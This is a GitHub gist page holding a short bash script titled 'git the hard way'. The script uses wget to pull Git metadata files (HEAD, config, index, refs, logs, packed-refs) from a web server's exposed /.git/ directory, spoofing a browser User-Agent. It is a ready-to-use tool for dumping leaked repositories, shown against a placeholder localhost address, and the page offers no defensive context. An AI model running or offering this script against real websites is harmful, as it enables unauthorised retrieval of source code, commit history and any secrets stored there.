Skip to content

Instantly share code, notes, and snippets.

@khakimov
Created January 20, 2016 07:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save khakimov/9aee5f3914b98e06350d to your computer and use it in GitHub Desktop.
Save khakimov/9aee5f3914b98e06350d to your computer and use it in GitHub Desktop.
git the hard way
# mkdir -p logs/refs/heads
# mkdir -p refs/remotes/origin
# mkdir -p refs/heads
# mkdir -p info
files=(
"HEAD"
"objects/info/packs"
"description"
"config"
"COMMIT_EDITMSG"
"index"
"packed-refs"
"refs/heads/master"
"refs/remotes/origin/HEAD"
"refs/stash"
"logs/HEAD"
"logs/refs/heads/master"
"logs/refs/remotes/origin/HEAD"
"info/refs"
"info/exclude"
)
for i in "${files[@]}"
do
:
eval "wget --force-directories -O" $i "http://127.0.0.1/.git/"$i "--header='User-Agent: Mozilla/5.0 (Windows NT 6.0)'"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment